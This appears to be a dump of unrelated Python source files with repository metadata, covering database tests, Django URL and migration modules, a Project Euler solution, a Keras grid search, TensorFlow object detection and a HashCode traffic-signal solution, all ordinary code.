##print("dbmeta=%s" % ejdb.dbmeta()) bar = { "foo": "bar" } self.assertEqual(ejdb.isactivetx("bars"), False) ejdb.begintx("bars") self.assertEqual(ejdb.isactivetx("bars"), True) ejdb.save("bars", bar) self.assertTrue(bar["_id"] is not None) ejdb.abortx("bars") self.assertTrue(ejdb.load("bars", bar["_id"]) is None) ejdb.begintx("bars") ejdb.save("bars", bar) self.assertTrue(ejdb.load("bars", bar["_id"]) is not None) self.assertEqual(ejdb.isactivetx("bars"), True) ejdb.commitx("bars") self.assertEqual(ejdb.isactivetx("bars"), False) self.assertTrue(ejdb.load("bars", bar["_id"]) is not None) ejdb.update("upsertcoll", {"foo": "bar", "$upsert": {"foo": "bar"}}) self.assertTrue(ejdb.findOne("upsertcoll", {"foo": "bar"}) is not None) @classmethod def tearDownClass(cls): if cls._ejdb: cls._ejdb.close() cls._ejdb = None if __name__ == '__main__': unittest.main()
34.38806
99
0.552228
5,494
0.79485
0
0
359
0.051939
0
0
2,238
0.323785
d53acbe8d2fd10ef53b5cd93c9f759efa5b93c91
242
py
Python
accounts/urls.py
bekzod-fayzikuloff/djChat
d58e882c26d461b110c8b3277998108214d72fd5
[ "MIT" ]
null
null
null
accounts/urls.py
bekzod-fayzikuloff/djChat
d58e882c26d461b110c8b3277998108214d72fd5
[ "MIT" ]
null
null
null
accounts/urls.py
bekzod-fayzikuloff/djChat
d58e882c26d461b110c8b3277998108214d72fd5
[ "MIT" ]
null
null
null
from django.urls import path from . import views app_name = 'users' urlpatterns = [ path('<int:pk>/', views.user_profile, name='user_profile'), path('messages/<int:pk>/', views.PrivateMessageView.as_view(), name='private_message') ]
26.888889
90
0.706612
0
0
0
0
0
0
0
0
69
0.285124
d53b07a8a498ac3b78d4cd3571eb5f9210cc5922
2,029
py
Python
vkmz/__main__.py
HegemanLab/VKMZ
5876c24913a3b778980b6d1d4046f4c481222005
[ "MIT" ]
1
2022-01-12T15:41:00.000Z
2022-01-12T15:41:00.000Z
vkmz/__main__.py
HegemanLab/VanKrevelin_galaxy_wrapper
5876c24913a3b778980b6d1d4046f4c481222005
[ "MIT" ]
2
2021-06-09T14:41:47.000Z
2021-06-09T17:56:30.000Z
vkmz/__main__.py
HegemanLab/VanKrevelin_galaxy_wrapper
5876c24913a3b778980b6d1d4046f4c481222005
[ "MIT" ]
2
2018-07-26T21:55:17.000Z
2018-08-01T17:59:00.000Z
#!/usr/bin/env python def main(): """Main flow control of vkmz Read input data into feature objects. Results in dictionaries for samples and features. Then, make predictions for features. Features without predictions are removed by default. Finally, write results. """ from vkmz.arguments import args, JSON, METADATA, MODE, SQL from vkmz.read import ( tabular as readTabular, xcmsTabular as readXcmsTabular, formulas as readFormulas, ) from vkmz.predict import predict import vkmz.write as write # read input if MODE == "tabular": # read arguments here in case "input" is undeclared tabular_f = getattr(args, "input") samples, features = readTabular(tabular_f) elif MODE == "w4m-xcms": sample_f = getattr(args, "sample_metadata") variable_f = getattr(args, "variable_metadata") matrix_f = getattr(args, "data_matrix") samples, features = readXcmsTabular(sample_f, variable_f, matrix_f) else: # MODE == "formula" formula_f = getattr(args, "input") samples, features = readFormulas(formula_f) if MODE == "tabular" or MODE == "w4m-xcms": # make predictions for all features features = {k: predict(v) for k, v in features.items()} # remove features without a prediction features = {k: v for k, v in features.items() if v is not None} # remove sample feature intensities without a feature for s in samples.values(): s.sfis = [x for x in s.sfis if len(x.feature.predictions) > 0] # remove samples without a sample feature intensity samples = {k: v for k, v in samples.items() if len(v.sfis) > 0} # write results write.tabular(samples) j_objs = write.generateJson(samples) if JSON: write.json_write(j_objs) write.html(j_objs) if SQL: write.sql(samples, features) if METADATA: write.metadata() if __name__ == "__main__": main()
32.206349
81
0.638245
0
0
0
0
0
0
0
0
669
0.329719
d53da663fdb9651c945c63d8d3b450c89e7a3a5a
1,076
py
Python
python/problem-080.py
mbuhot/mbuhot-euler-solutions
30066543cfd2d84976beb0605839750b64f4b8ef
[ "MIT" ]
1
2015-12-18T13:25:41.000Z
2015-12-18T13:25:41.000Z
python/problem-080.py
mbuhot/mbuhot-euler-solutions
30066543cfd2d84976beb0605839750b64f4b8ef
[ "MIT" ]
null
null
null
python/problem-080.py
mbuhot/mbuhot-euler-solutions
30066543cfd2d84976beb0605839750b64f4b8ef
[ "MIT" ]
null
null
null
#! /usr/bin/env python3 from math import sqrt from decimal import getcontext, Decimal description = ''' Square root digital expansion Problem 80 It is well known that if the square root of a natural number is not an integer, then it is irrational. The decimal expansion of such square roots is infinite without any repeating pattern at all. The square root of two is 1.41421356237309504880..., and the digital sum of the first one hundred decimal digits is 475. For the first one hundred natural numbers, find the total of the digital sums of the first one hundred decimal digits for all the irrational square roots. ''' # set the decimal precision slightly above the required 100, so there isn't any rounding in the last digit getcontext().prec = 110 # sum the digits, excluding '.' def decimalSum(d): digits = str(d)[:101] return sum(int(c) for c in digits if c != '.') assert(decimalSum(Decimal(2).sqrt()) == 475) def isSquare(n): return sqrt(n).is_integer() total = sum(decimalSum(Decimal(n).sqrt()) for n in range(1, 101) if not isSquare(n)) print(total)
34.709677
195
0.746283
0
0
0
0
0
0
0
0
685
0.636617
d53df78809e1584483410583a6ebc437b5a2b0ef
36
py
Python
indra/assemblers/tsv/__init__.py
zebulon2/indra
7727ddcab52ad8012eb6592635bfa114e904bd48
[ "BSD-2-Clause" ]
136
2016-02-11T22:06:37.000Z
2022-03-31T17:26:20.000Z
indra/assemblers/tsv/__init__.py
zebulon2/indra
7727ddcab52ad8012eb6592635bfa114e904bd48
[ "BSD-2-Clause" ]
748
2016-02-03T16:27:56.000Z
2022-03-09T14:27:54.000Z
indra/assemblers/tsv/__init__.py
zebulon2/indra
7727ddcab52ad8012eb6592635bfa114e904bd48
[ "BSD-2-Clause" ]
56
2015-08-28T14:03:44.000Z
2022-02-04T06:15:55.000Z
from .assembler import TsvAssembler
18
35
0.861111
0
0
0
0
0
0
0
0
0
0
d53e507f1e8d5bf59c86b10b14c714438e608427
971
py
Python
binary_classifiers/KerasLogReg.py
zcikojevic/toxic-language-detection
32e0e83fbc5d341dbb77bfa677f78dce82960861
[ "MIT" ]
1
2019-07-02T08:12:21.000Z
2019-07-02T08:12:21.000Z
binary_classifiers/KerasLogReg.py
zcikojevic/toxic-language-detection
32e0e83fbc5d341dbb77bfa677f78dce82960861
[ "MIT" ]
null
null
null
binary_classifiers/KerasLogReg.py
zcikojevic/toxic-language-detection
32e0e83fbc5d341dbb77bfa677f78dce82960861
[ "MIT" ]
null
null
null
from keras.layers import Dense from keras.models import Sequential from keras.wrappers.scikit_learn import KerasClassifier from run_binary_classifier import run from keras import regularizers def keras_logreg_model(): model = Sequential() model.add(Dense(units=1, input_shape=(2,), kernel_initializer='normal', kernel_regularizer=regularizers.l2(1.), activation='sigmoid')) model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy']) return model param_grid = { 'bag_of_words__stop_words': ['english'], 'bag_of_words__ngram_range': [(1, 2)], 'bag_of_words__max_features': [500], #'dim_reduct__n_components': [300], 'normalizer__norm': ['l2'] #'classifier__C': [5., 10.] } estimator = KerasClassifier(build_fn=keras_logreg_model, epochs=1, batch_size=5, verbose=1) run(param_grid, estimator)
31.322581
91
0.658084
0
0
0
0
0
0
0
0
228
0.234809
d53f500a66c4a9814996ed105b5158ad59abc0ad
1,910
py
Python
phantomapp/migrations/0009_order_orderproduct.py
t7hm1/My-django-project
cf1a86a5134a86af510f9392a748f129954d1c76
[ "MIT" ]
5
2018-09-21T13:56:19.000Z
2019-10-23T23:48:20.000Z
phantomapp/migrations/0009_order_orderproduct.py
mach1el/My-django-project
cf1a86a5134a86af510f9392a748f129954d1c76
[ "MIT" ]
null
null
null
phantomapp/migrations/0009_order_orderproduct.py
mach1el/My-django-project
cf1a86a5134a86af510f9392a748f129954d1c76
[ "MIT" ]
1
2019-01-11T10:41:55.000Z
2019-01-11T10:41:55.000Z
# Generated by Django 2.1 on 2018-09-06 02:03 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('phantomapp', '0008_auto_20180904_2102'), ] operations = [ migrations.CreateModel( name='Order', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('username', models.CharField(blank=True, max_length=255)), ('email', models.CharField(max_length=255)), ('first_name', models.CharField(max_length=255)), ('last_name', models.CharField(max_length=255)), ('company', models.CharField(max_length=255)), ('country', models.CharField(max_length=255)), ('state', models.CharField(max_length=255)), ('address', models.CharField(max_length=255)), ('telephone', models.CharField(max_length=255)), ('created', models.DateTimeField(auto_now=True)), ('updated', models.DateTimeField(auto_now=True)), ('paid', models.BooleanField(default=False)), ], options={ 'ordering': ('-created',), }, ), migrations.CreateModel( name='OrderProduct', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('price', models.IntegerField()), ('product', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='products', to='phantomapp.ShopProduct')), ('purchase', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='products', to='phantomapp.Order')), ], ), ]
42.444444
146
0.575916
1,786
0.935079
0
0
0
0
0
0
336
0.175916
d53f7a92ad96592864829c170139b3f620bcb9e7
109
py
Python
aiohttp_devtools/start/__init__.py
antonmyronyuk/aiohttp-devtools
be06d295a8911a43f7ad582a88a3d64d6482b6e8
[ "MIT" ]
2
2018-11-13T06:34:17.000Z
2019-01-08T14:33:09.000Z
aiohttp_devtools/start/__init__.py
theruziev/aiohttp-devtools
8ab8a621964c8af0021c62e7971eea8c04f534e8
[ "MIT" ]
1
2021-02-27T14:13:58.000Z
2021-02-27T14:13:58.000Z
aiohttp_devtools/start/__init__.py
theruziev/aiohttp-devtools
8ab8a621964c8af0021c62e7971eea8c04f534e8
[ "MIT" ]
null
null
null
# flake8: noqa from .main import DatabaseChoice, ExampleChoice, SessionChoices, StartProject, TemplateChoice
36.333333
93
0.834862
0
0
0
0
0
0
0
0
14
0.12844
d540205fcfb3b4dcc91f1525818782cb26364ac5
178
py
Python
epmclib/getPMID.py
tarrow/epmclib
aea429d640b0e4a7375db4bd90ce04693c940340
[ "MIT" ]
2
2015-12-07T17:56:25.000Z
2016-01-28T16:47:21.000Z
epmclib/getPMID.py
tarrow/epmclib
aea429d640b0e4a7375db4bd90ce04693c940340
[ "MIT" ]
8
2015-12-03T17:57:54.000Z
2016-01-21T10:22:10.000Z
epmclib/getPMID.py
tarrow/epmclib
aea429d640b0e4a7375db4bd90ce04693c940340
[ "MIT" ]
null
null
null
from . getID import getID class getPMID(getID): """Add the correct query string to only search for PMIDs""" def __init__(self, id): self.query = 'ext_id:' + id + ' src:med'
25.428571
60
0.679775
150
0.842697
0
0
0
0
0
0
78
0.438202
d5410810359ac36bb644e7de8c9340cf0988d530
560
py
Python
test/test_levelsymmetric.py
camminady/sphericalquadpy
0646547cc69e27de7ce36f4b519d4f420ef443e7
[ "MIT" ]
1
2020-11-15T23:47:48.000Z
2020-11-15T23:47:48.000Z
test/test_levelsymmetric.py
camminady/sphericalquadpy
0646547cc69e27de7ce36f4b519d4f420ef443e7
[ "MIT" ]
1
2019-04-09T08:38:21.000Z
2019-04-09T08:38:21.000Z
test/test_levelsymmetric.py
camminady/sphericalquadpy
0646547cc69e27de7ce36f4b519d4f420ef443e7
[ "MIT" ]
1
2020-12-19T21:12:59.000Z
2020-12-19T21:12:59.000Z
from sphericalquadpy.levelsymmetric.levelsymmetric import Levelsymmetric import pytest def test_levelsymmetric(): Q = Levelsymmetric(order=4) assert Q.name() == "Levelsymmetric Quadrature" assert Q.getmaximalorder() == 20 with pytest.raises(Exception): _ = Levelsymmetric(order=-10) Q = Levelsymmetric(nq=30) def test_invalid(): Q = Levelsymmetric(order=4) with pytest.raises(Exception): _ = Q.computequadpoints(234234234234) with pytest.raises(Exception): _ = Q.computequadweights(234234234234)
23.333333
72
0.707143
0
0
0
0
0
0
0
0
27
0.048214
d541c05f38e8c5156b01666be9ab4d4d64d8249a
2,202
py
Python
skinport/enums.py
PaxxPatriot/skinport.py
37cf131aa468a3218a6bb694c5fead0353c32623
[ "MIT" ]
null
null
null
skinport/enums.py
PaxxPatriot/skinport.py
37cf131aa468a3218a6bb694c5fead0353c32623
[ "MIT" ]
1
2022-02-23T19:17:16.000Z
2022-02-23T19:17:16.000Z
skinport/enums.py
PaxxPatriot/skinport.py
37cf131aa468a3218a6bb694c5fead0353c32623
[ "MIT" ]
null
null
null
""" MIT License Copyright (c) 2022 PaxxPatriot Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ from enum import Enum, IntEnum __all__ = ( "Currency", "AppID", "Locale", "SaleType", "Exterior", ) class Currency(Enum): aud = "AUD" brl = "BRL" cad = "CAD" chf = "CHF" cny = "CNY" czk = "CZK" dkk = "DKK" eur = "EUR" gbp = "GBP" hrk = "HRK" nok = "NOK" pln = "PLN" rub = "RUB" sek = "SEK" try_ = "TRY" usd = "USD" def __str__(self) -> str: return self.value class AppID(IntEnum): csgo = 730 dota2 = 570 rust = 252490 tf2 = 440 class Locale(Enum): en = "en" de = "de" ru = "ru" fr = "fr" zh = "zh" nl = "nl" fi = "fi" es = "es" tr = "tr" def __str__(self) -> str: return self.value class SaleType(Enum): public = "public" private = "private" def __str__(self) -> str: return self.value class Exterior(Enum): factory_new = "Factory New" minimal_wear = "Minimal Wear" field_tested = "Field-Tested" well_worn = "Well-Worn" battle_scarred = "Battle-Scarred" def __str__(self) -> str: return self.value
22.701031
78
0.653951
989
0.449137
0
0
0
0
0
0
1,321
0.599909
d5434f4d2e70af5a0a1a114b544845f6ac8dde26
387
py
Python
lib/mcapi.py
RalphORama/MCPerms
099d9169b1c7992b7d1c9b72003b846366eb78f7
[ "MIT" ]
3
2017-12-01T09:39:36.000Z
2021-07-27T23:52:11.000Z
lib/mcapi.py
RalphORama/MCPerms
099d9169b1c7992b7d1c9b72003b846366eb78f7
[ "MIT" ]
null
null
null
lib/mcapi.py
RalphORama/MCPerms
099d9169b1c7992b7d1c9b72003b846366eb78f7
[ "MIT" ]
2
2019-02-25T19:05:05.000Z
2020-02-12T13:17:01.000Z
from requests import get from json import loads from time import time from uuid import UUID def username_to_uuid(username, when=int(time())): url = 'https://api.mojang.com/users/profiles/minecraft/{}?at={}' r = get(url.format(username, when)) if r.status_code == 200: data = loads(r.text) uuid = UUID(data['id']) return str(uuid) return None
21.5
68
0.648579
0
0
0
0
0
0
0
0
62
0.160207
d543530f4df09080f53a3a25090b0d0f7018de42
329
py
Python
src/dictionaries/generic_subjects.py
FNClassificator/FNC-classificators
c159a04dff9edb714f69b323f6c46a15de63c278
[ "Apache-2.0" ]
null
null
null
src/dictionaries/generic_subjects.py
FNClassificator/FNC-classificators
c159a04dff9edb714f69b323f6c46a15de63c278
[ "Apache-2.0" ]
null
null
null
src/dictionaries/generic_subjects.py
FNClassificator/FNC-classificators
c159a04dff9edb714f69b323f6c46a15de63c278
[ "Apache-2.0" ]
null
null
null
GENERIC = [ 'Half of US adults have had family jailed', 'Judge stopped me winning election', 'Stock markets stabilise after earlier sell-off' ] NON_GENERIC = [ 'Leicester helicopter rotor controls failed', 'Pizza Express founder Peter Boizot dies aged 89', 'Senior Tory suggests vote could be delayed' ]
27.416667
54
0.711246
0
0
0
0
0
0
0
0
262
0.796353
d543615e9951c7852a85d6e69de555518f2e11f8
604
py
Python
tests/testPublishedServices.py
mapledyne/skytap
c7fb43e7d2b3e97c619948a9e5b3f03472b5cd45
[ "MIT" ]
3
2019-04-17T13:07:30.000Z
2021-09-09T22:01:14.000Z
tests/testPublishedServices.py
FulcrumIT/skytap
c7fb43e7d2b3e97c619948a9e5b3f03472b5cd45
[ "MIT" ]
10
2016-11-02T20:48:38.000Z
2021-09-15T15:29:34.000Z
tests/testPublishedServices.py
FulcrumIT/skytap
c7fb43e7d2b3e97c619948a9e5b3f03472b5cd45
[ "MIT" ]
3
2016-03-03T07:25:13.000Z
2016-08-30T15:33:03.000Z
"""Test Skytap published services API access.""" import json import os import time import sys sys.path.append('..') from skytap.Environments import Environments # noqa from skytap.framework.ApiClient import ApiClient # noqa environments = Environments() def test_ps_values(): """Ensure published service capabilities are functioning.""" e = environments.first() for v in e.vms: for i in v.interfaces: for s in i.services: assert s.id assert s.internal_port assert s.external_ip assert s.external_port
24.16
64
0.650662
0
0
0
0
0
0
0
0
124
0.205298
d543b90b04fcf2474056db6ca2936d01a704158e
396
py
Python
Python3/0828-Count-Unique-Characters-of-All-Substrings-of-a-Given-String/soln-1.py
wyaadarsh/LeetCode-Solutions
3719f5cb059eefd66b83eb8ae990652f4b7fd124
[ "MIT" ]
5
2020-07-24T17:48:59.000Z
2020-12-21T05:56:00.000Z
Python3/0828-Count-Unique-Characters-of-All-Substrings-of-a-Given-String/soln-1.py
zhangyaqi1989/LeetCode-Solutions
2655a1ffc8678ad1de6c24295071308a18c5dc6e
[ "MIT" ]
null
null
null
Python3/0828-Count-Unique-Characters-of-All-Substrings-of-a-Given-String/soln-1.py
zhangyaqi1989/LeetCode-Solutions
2655a1ffc8678ad1de6c24295071308a18c5dc6e
[ "MIT" ]
2
2020-07-24T17:49:01.000Z
2020-08-31T19:57:35.000Z
class Solution: def uniqueLetterString(self, S: str) -> int: idxes = {ch : (-1, -1) for ch in string.ascii_uppercase} ans = 0 for idx, ch in enumerate(S): i, j = idxes[ch] ans += (j - i) * (idx - j) idxes[ch] = j, idx for i, j in idxes.values(): ans += (j - i) * (len(S) - j) return ans % (int(1e9) + 7)
33
64
0.45202
395
0.997475
0
0
0
0
0
0
0
0
d5495231e3d431fe1e3c8b0e5b54558d71f22bf7
411
py
Python
pythonDesafios/desafio031.py
mateusdev7/desafios-python
6160ddc84548c7af7f5775f9acabe58238f83008
[ "MIT" ]
null
null
null
pythonDesafios/desafio031.py
mateusdev7/desafios-python
6160ddc84548c7af7f5775f9acabe58238f83008
[ "MIT" ]
null
null
null
pythonDesafios/desafio031.py
mateusdev7/desafios-python
6160ddc84548c7af7f5775f9acabe58238f83008
[ "MIT" ]
null
null
null
from time import sleep print('-=-' * 15) print('Iremos calcular o preço da sua viagem (R$)') print('-=-' * 15) distancia = float(input('Qual a distância da viagem?\n>')) print('CALCULANDO...') sleep(2) if distancia <= 200: preco = distancia * 0.50 print(f'O preço da sua viagem vai custar R${preco:.2f}') else: preco = distancia * 0.45 print(f'O preço da sua viagem vai custar R${preco:.2f}')
25.6875
60
0.644769
0
0
0
0
0
0
0
0
203
0.489157
d54a0002af3d3a00d396f68eb323f46a1f109f28
357
py
Python
backend/saas_framework/sharing/views.py
snarayanank2/django-workspaces
46ef92a4caa95eee617a24ead284e533422afca0
[ "MIT" ]
1
2021-01-27T17:51:58.000Z
2021-01-27T17:51:58.000Z
backend/saas_framework/sharing/views.py
snarayanank2/django-workspaces
46ef92a4caa95eee617a24ead284e533422afca0
[ "MIT" ]
6
2021-03-30T13:51:35.000Z
2022-03-02T09:24:07.000Z
backend/saas_framework/sharing/views.py
snarayanank2/django-workspaces
46ef92a4caa95eee617a24ead284e533422afca0
[ "MIT" ]
1
2022-03-18T08:43:17.000Z
2022-03-18T08:43:17.000Z
import logging from rest_framework import viewsets from saas_framework.sharing.models import Sharing from saas_framework.sharing.serializers import SharingSerializer logger = logging.getLogger(__name__) class SharingViewSet(viewsets.ModelViewSet): queryset = Sharing.objects.all() serializer_class = SharingSerializer ordering = 'created_at'
27.461538
64
0.820728
150
0.420168
0
0
0
0
0
0
12
0.033613
d54ab457563a7da1ea0a8ea69694b17e69f12c37
228
py
Python
meridian/acupoints/yifeng41.py
sinotradition/meridian
8c6c1762b204b72346be4bbfb74dedd792ae3024
[ "Apache-2.0" ]
5
2015-12-14T15:14:23.000Z
2022-02-09T10:15:33.000Z
meridian/acupoints/yifeng41.py
sinotradition/meridian
8c6c1762b204b72346be4bbfb74dedd792ae3024
[ "Apache-2.0" ]
null
null
null
meridian/acupoints/yifeng41.py
sinotradition/meridian
8c6c1762b204b72346be4bbfb74dedd792ae3024
[ "Apache-2.0" ]
3
2015-11-27T05:23:49.000Z
2020-11-28T09:01:56.000Z
#!/usr/bin/python #coding=utf-8 ''' @author: sheng @license: ''' SPELL=u'yìfēng' CN=u'翳风' NAME=u'yifeng41' CHANNEL='sanjiao' CHANNEL_FULLNAME='SanjiaoChannelofHand-Shaoyang' SEQ='SJ17' if __name__ == '__main__': pass
10.857143
48
0.688596
0
0
0
0
0
0
0
0
150
0.641026
d54b09c1f95475f540ec4196ed5f07e9af5e2f80
2,090
py
Python
Entities/ImageAnotation.py
mylenefarias/360RAT
e6b6037c0e4f90a79f0e4a9e7afee887af2b1a82
[ "MIT" ]
null
null
null
Entities/ImageAnotation.py
mylenefarias/360RAT
e6b6037c0e4f90a79f0e4a9e7afee887af2b1a82
[ "MIT" ]
null
null
null
Entities/ImageAnotation.py
mylenefarias/360RAT
e6b6037c0e4f90a79f0e4a9e7afee887af2b1a82
[ "MIT" ]
2
2022-02-25T02:33:28.000Z
2022-02-25T10:10:21.000Z
class Image_Anotation: def __init__(self, id, image, path_image): self.id = id self.FOV = [0.30,0.60] self.image = image self.list_roi=[] self.list_compose_ROI=[] self.id_roi=0 self.path_image = path_image def set_image(self, image): self.image = image def get_image(self): return self.image def get_id(self): return self.id def get_path(self): return self.path_image def get_list_roi(self): return self.list_roi def add_ROI(self, roi): self.id_roi += 1 roi.set_id(self.id_roi) self.list_roi.append(roi) #return roi to get the id return roi def delet_ROI(self, id): for element in self.list_roi: if element.get_id() == id: self.list_roi.remove(element) self.id_roi -= 1 break for element in self.list_roi: if element.get_id() > id: new_id = element.get_id() - 1 element.set_id(new_id) def edit_roi(self, roi): self.list_roi[(roi.get_id()-1)] = roi def delet_list_roi(self): self.list_roi.clear() def add_compose_ROI(self, compose_ROI): self.list_compose_ROI.append(compose_ROI) def get_list_compose_ROI(self): return self.list_compose_ROI def get_compose_ROI(self, id): for roi in self.list_compose_ROI: if roi.get_id() == id: return roi return None def delete_compose_ROI(self, id): for element in self.list_compose_ROI: if element.get_id() == id: self.list_compose_ROI.remove(element) break for element in self.list_compose_ROI: if element.get_id() > id: new_id = element.get_id() - 1 element.set_id(new_id) def modify_compose_ROI(self, id, compose_ROI): self.list_compose_ROI[id]= compose_ROI
24.880952
53
0.552153
2,067
0.988995
0
0
0
0
0
0
25
0.011962
d54b25a37b893cdc466d3bbbe69d97e87c53a99c
106
py
Python
qubeInfraSight/projectoffice/apps.py
debaleena2019/QubInfraInsight
70b0b2654f6589e65283bd6fc779b13be32512ab
[ "Apache-2.0" ]
1
2019-06-17T06:06:11.000Z
2019-06-17T06:06:11.000Z
qubeInfraSight/projectoffice/apps.py
debaleena2019/QubInfraInsight
70b0b2654f6589e65283bd6fc779b13be32512ab
[ "Apache-2.0" ]
null
null
null
qubeInfraSight/projectoffice/apps.py
debaleena2019/QubInfraInsight
70b0b2654f6589e65283bd6fc779b13be32512ab
[ "Apache-2.0" ]
null
null
null
from django.apps import AppConfig class ProjectofficeConfig(AppConfig): name = 'projectoffice'
17.666667
38
0.745283
65
0.613208
0
0
0
0
0
0
15
0.141509
d54c2dcbd7cf59b2c57685116f1d61c741d7e2cb
2,874
py
Python
object_detection/realtime_detection.py
pcrete/humanet
a956c0903d4a6ebff987da723ce8e80ada692585
[ "Apache-2.0" ]
7
2019-10-25T12:35:02.000Z
2022-03-24T02:14:43.000Z
object_detection/realtime_detection.py
pcrete/humanet
a956c0903d4a6ebff987da723ce8e80ada692585
[ "Apache-2.0" ]
null
null
null
object_detection/realtime_detection.py
pcrete/humanet
a956c0903d4a6ebff987da723ce8e80ada692585
[ "Apache-2.0" ]
2
2019-11-30T03:22:37.000Z
2020-10-06T07:17:36.000Z
import numpy as np import os import six.moves.urllib as urllib import sys import tarfile import tensorflow as tf import zipfile import cv2 from collections import defaultdict from io import StringIO from matplotlib import pyplot as plt from PIL import Image sys.path.insert(0, os.path.abspath("..")) from utils import label_map_util from utils import visualization_utils as vis_util # MODEL_NAME = 'ssd_mobilenet_v1_coco_11_06_2017' # MODEL_NAME = 'faster_rcnn_inception_resnet_v2_atrous_coco_11_06_2017' MODEL_NAME = 'faster_rcnn_resnet101_coco_11_06_2017' PATH_TO_CKPT = os.path.join(MODEL_NAME,'frozen_inference_graph.pb') PATH_TO_LABELS = os.path.join('data', 'mscoco_label_map.pbtxt') NUM_CLASSES = 90 PATH_TO_VIDEO = '../dataset/videos' print ('loading model..') detection_graph = tf.Graph() with detection_graph.as_default(): od_graph_def = tf.GraphDef() with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid: serialized_graph = fid.read() od_graph_def.ParseFromString(serialized_graph) tf.import_graph_def(od_graph_def, name='') label_map = label_map_util.load_labelmap(PATH_TO_LABELS) categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True) category_index = label_map_util.create_category_index(categories) def load_image_into_numpy_array(image): im_width, im_height = image.size return np.array(image.getdata()).reshape((im_height, im_width, 3)).astype(np.uint8) with detection_graph.as_default(): with tf.Session(graph=detection_graph) as sess: skip = 1 cap = cv2.VideoCapture(os.path.join(PATH_TO_VIDEO, 'PETS09_0.mp4')) points_objs = {} id_frame = 1; id_center = 1; first = True while(True): ret, frame = cap.read() if cv2.waitKey(1) & 0xFF == ord('q'): break if(skip == 1): skip = 0 image_np = np.array(frame) if(image_np.shape == ()): break image_np_expanded = np.expand_dims(image_np, axis=0) image_tensor = detection_graph.get_tensor_by_name('image_tensor:0') boxes = detection_graph.get_tensor_by_name('detection_boxes:0') scores = detection_graph.get_tensor_by_name('detection_scores:0') classes = detection_graph.get_tensor_by_name('detection_classes:0') num_detections = detection_graph.get_tensor_by_name('num_detections:0') (boxes, scores, classes, num_detections) = sess.run([boxes, scores, classes, num_detections], feed_dict={image_tensor: image_np_expanded}) vis_util.visualize_boxes_and_labels_on_image_array( image_np, np.squeeze(boxes), np.squeeze(classes).astype(np.int32), np.squeeze(scores), category_index, use_normalized_coordinates=True, line_thickness=3, max_boxes_to_draw=None, min_score_thresh=0.4) cv2.imshow('frame', image_np) id_frame += 1 skip+=1 cap.release() cv2.destroyAllWindows()
29.326531
122
0.753653
0
0
0
0
0
0
0
0
380
0.13222
d54c9a0268801c4210ca35761a0c8999bcb5ec81
1,832
py
Python
stupidV2.py
Devansh-ops/HashCode2021
c1450a0bd81fff5a8d6b402188576024727587d9
[ "MIT" ]
null
null
null
stupidV2.py
Devansh-ops/HashCode2021
c1450a0bd81fff5a8d6b402188576024727587d9
[ "MIT" ]
null
null
null
stupidV2.py
Devansh-ops/HashCode2021
c1450a0bd81fff5a8d6b402188576024727587d9
[ "MIT" ]
null
null
null
# Hashcode 2021 # Team Depresso # Problem - Traffic Signaling ## Data Containers class Street: def __init__(self,start,end,name,L): self.start = start self.end = end self.name = name self.time = L def show(self): print(self.start,self.end,self.name,self.time) class Car: def __init__(self,P, path): self.P = P # the number of streets that the car wants to travel self.path = path # names of the streets # the car starts at the end of first street def show(self): print(self.P, self.path) #Just getting data with open('c.txt') as f: D, I, S, V, F = list(map(int, f.readline()[:-1].split(" "))) ''' l1 = f.readline()[:-1].split(' ') D = int(l1[0]) # Duration of simulation 1 <D<10^4 I = int(l1[1]) # The number of intersections 2 ≤ I ≤ 10^5 S = int(l1[2]) # The number of streets 2 ≤ S ≤ 10 5 V = int(l1[3]) # The number of cars 1 ≤ V ≤ 10 3 F = int(l1[4]) # The bonus points for each car that reaches # its destination before time D1 ≤ F ≤ 10 3 ''' # B, E, streets_descriptions = [], [], [] streets = [0]*S for i in range(S): line = f.readline()[:-1].split(' ') street = Street(int(line[0]), int(line[1]), line[2], int(line[3])) streets[i] = street #street.show() cars = [0]*V for i in range(V): line = f.readline()[:-1].split(' ') car = Car(int(line[0]), line[1:]) cars[i] = car #car.show() o= open("c-output-try-stupid-v2.txt","w+") o.write(str(I)+'\n') for i in range(I): o.write(str(i)+'\n') num_roads_ending = 0 str_ending = [] for j in range(S): if streets[j].end == i: num_roads_ending += 1 str_ending.append(streets[j].name) o.write(str(num_roads_ending)+'\n') for k in range(num_roads_ending): o.write(str_ending[k]+" "+ str(1)+'\n')
24.756757
70
0.581332
475
0.257035
0
0
0
0
0
0
742
0.401515
d54d660e19d06efe546719fe102b385e9d155b60
3,178
py
Python
notebooks/uplifts/dea_383.py
NHSDigital/medicines-text-mining-tool
bea1efddd832b614fdb00ae8df5f8dc206ba81b0
[ "MIT" ]
1
2022-03-31T13:04:05.000Z
2022-03-31T13:04:05.000Z
notebooks/uplifts/dea_383.py
NHSDigital/medicines-text-mining-tool
bea1efddd832b614fdb00ae8df5f8dc206ba81b0
[ "MIT" ]
null
null
null
notebooks/uplifts/dea_383.py
NHSDigital/medicines-text-mining-tool
bea1efddd832b614fdb00ae8df5f8dc206ba81b0
[ "MIT" ]
null
null
null
